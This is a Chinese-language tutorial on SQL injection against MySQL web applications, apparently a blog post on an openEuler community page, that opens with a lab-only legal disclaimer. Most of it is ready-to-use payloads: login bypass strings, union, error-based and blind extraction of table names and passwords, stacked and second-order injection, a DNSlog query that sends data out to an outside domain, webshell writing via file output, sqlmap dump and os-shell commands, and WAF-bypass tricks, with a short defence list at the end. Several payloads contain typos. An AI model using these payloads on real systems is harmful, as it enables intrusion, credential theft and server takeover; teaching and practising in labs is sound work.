重要声明:本文所有操作均在靶场环境或授权情况下开展,未经授权入侵、扫描、攻击他人网络与系统,均违反《中华人民共和国网络安全法》,请严格遵守法律法规与道德规范,安全研究务必在合法合规范围内进行。

一、SQL注入是什么?

SQL注入是Web应用最常见、危害极大的安全漏洞。

核心原理:后端代码未对用户输入做严格过滤,攻击者在输入框、URL参数中插入恶意SQL语句,欺骗数据库执行未授权操作,实现偷数据、删库、改数据、拿服务器。

二、SQL注入的危害

  1. 敏感数据泄露:账号、密码、手机号、身份证、余额等
  2. 数据篡改:修改订单、积分、权限、密码
  3. 数据库破坏:删表、删库、清空数据
  4. 服务器接管:读写文件、写入木马、执行系统命令
  5. 内网横向渗透:以数据库为跳板入侵内网

三、前置知识:MySQL基础

1.关键系统库

information_schema:MySQL系统库,存储所有库、表、字段信息,注入必用。

TABLES:存所有表名
COLUMNS:存所有字段名
SCHEMATA:存所有库名

2.常用函数

database()                    //当前数据库名
version()                     //数据库版本
group_concat()                //多行合并为一行
substr()                      //截取字符串
ASCII()                       //取字符ASCII码
sleep()                       //延时函数
updatexml()/extractvalue()    //报错函数

四、SQL注入完整流程

  1. 找注入点:URL参数、表单、请求头、Cookie,例如:?id=1、登录账号输入框
  2. 判断注入类型:字符型:?id=1'页面报错,需要单/双引号比好原有SQL语句;数字型?id=1 and 1=2无数据。?id=1 and 1=1正常显示,无引号闭合。
  3. 判断数列:用 order by 数字,二分法猜查询字段数量,例如:?id=1' and 1=2 order by 3--+,返回正常说明字段≥3,报错说明字段为2.
  4. 查回显位:联合查询判断页面哪几个位置能展示数据,前提:前面查询无结果,加and 1=2,例如:?id=1' and 1=2 union select 1,2,3--+,页面出现2、3,代表2、3列是回显位。
  5. 查库名:利用系统库information_schema,在回显位查询当前数据库、所有数据库。例如:查询当前数据库,?id=1' and 1=2 union select 1,database(),3--+;列出全部数据库,?id=1' and 1=2 union select 1,schema_name,3 from information_schema.schemata--+。
  6. 查表名:指定目标库,查询目标库内所有数据表。例如:?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where tables_schema='目标库名'--+。
  7. 查字段名:指定库+表,查询表内所有列明。例如:?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='目标库名' and table_name='目标表名'--+。
  8. 拖数据:代入已知库、表、字段,查询存储的敏感数据。例如:?id=1' and 1=2 union select 1,username,password from 目标库.目标表--+。

五、基础注入类型详解

(一)万能密码注入(登录框注入)

适用场景:登录框未过滤单引号,拼接未作处理的SQL语句 。

正常SQL:

select * from user where username='admin' and password='123456'

注入后SQL:

select * from user where username='a' or '1'='1' and password='123456'

实战payload------->效果:绕过登录,直接进入后台。

  • 账号:a' or '1'='1        或        a
  • 密码:‘ or '1'='1          或        ' or '1'='1

(二)Union联合查询注入(最常用)

适用条件:页面有回显、可执行union、前后列数一致。

实战步骤(靶场bbs)

1.判断注入点

http://localhost/bbs/showmessage.php?id=1'------>页面报错,存在注入。

2.判断数列

?id=1 order by 4 --正常    
?id=1 order by 5 --报错 ---->共4列 

3.查回显位

?id=-1 union select 1,2,3,4 ---->页面显示2、3、4---->可在这些位置查数据

4.查当前库

?id=-1 union select 1,2,version(),database()
jrlt ---->库名

5.查表名

?id=-1 union select 1,2,3,group_concat(table_name) from infotmation_schema.tables where table_schema='jrlt'
users,messages ---->表名

6.查字段

?id-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users'
id,name,password,photo,money ---->字段

7.拖数据

?id-1 union select 1,2,3,concat(name,':',password) from user
lisi,122231 ---->获取想要的数据

(三)报错注入(无回显但有报错)

适用场景:页面不显示数据,但是会输出MySQL错误。

常用函数

  • updatexml()
  • extractvalue()

实战payload

1.查库名

?id=1 and updatexml(1,concat(0×5e,database(),0×5e),1)

2.查表名

?id=1 and updatexml(1,concat(0×5e,(select group_concat(table_name) from information_schema.tables where table_schema='jrlt',0×5e),1)

3.查数据

?id=1 and updatexml(1,concat(0×5e,(select name from users limit 0,1),0×5e),1)

(四)布尔盲注(无回显、无报错,仅页面真假不同)

核心:用and条件判断,页面正常=真,异常=假

实战步骤

1.判断库名长度

?id=1 and length(database())=4

2.猜库名

?id=1 and ascii(substr(database(),1,1))=106 ---->显示j
?id=1 and ascii(substr(database(),2,1))=114 ---->显示r
……
最终得到库名'jrlt'

3.猜表名、字段、数据(逻辑同上,逐字符爆破)

(五)延时盲注(完全无回显,靠响应时间判断)

核心:条件成立则sleep(5),页面延迟5秒=真。

实战payload

?id=1 and if(length(database())=4,sleep(5),1)
?id=1 and if(length(database())=106,sleep(5),1)

六、高阶注入(进阶必备)

1.二次注入

原理:先把恶意数据存入数据库,后端读取时触发注入。

案例:注册admin‘#,修改密码时SQL变为

update users set password='123456' where name='admin'#' ---->直接修改admin密码

2.堆叠注入

原理:用;分隔,一次执行多条SQL。

案例:

?id=1;insert into users(name,password) values('tese',md('test')); ---->可增删改查任意操作

3.DNSlog盲注

适用:无回显、无延时、无报错,用DNS外带数据。

?id=1 and load_file(concat('//',database(),'xxx.dnslog.cn/123'))

4.读写文件

条件:secure_file_priv为空、高权限。

  • 读文件:load_file()
  • 写木马:into outfile

七、SQLMap自动化注入(工具篇)

常用命令

1.检测注入点

sqlmap -u "http://xxx/showmessage.php?id=1"

2.查当前库

sqlmap -u "url" --current-db

3.查表

sqlmap -u "url" -D 库名 --tables

4.查字段

sqlmap -u "url" -D 库名 -T 表名 --columns

5.拖数据

sqlmap -u "url" -D 库名 -T 表名 -C name,password --dump

6.执行系统命令

sqlmap -u "url" --os-shell

八、WAF绕过(简单思路)

  1. 注释绕过:database/**/()
  2. 参数污染:?id=1/**&id=-1 union select...%23*/
  3. 编码绕过:URL编码、十六进制编码
  4. 分块传输:拆分关键字绕过规则匹配

九、SQL注入防御(开发必看)

  1. 预编译语句(PreparedStatement):最有效
  2. 严格过滤数据:过滤' " union select or and等
  3. 权限最小化:数据库账号不设置文件读写、不设置DROP权限
  4. 关键错误回显:不输出MySQL报错信息
  5. 使用WAF:部署防火墙拦截恶意请求

十、总结

SQL注入时网安入门必学漏洞,本文覆盖原理→基础→盲注→高阶→工具→防御全流程。所有操作请在靶场/授权环境下练习,守住法律底线。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐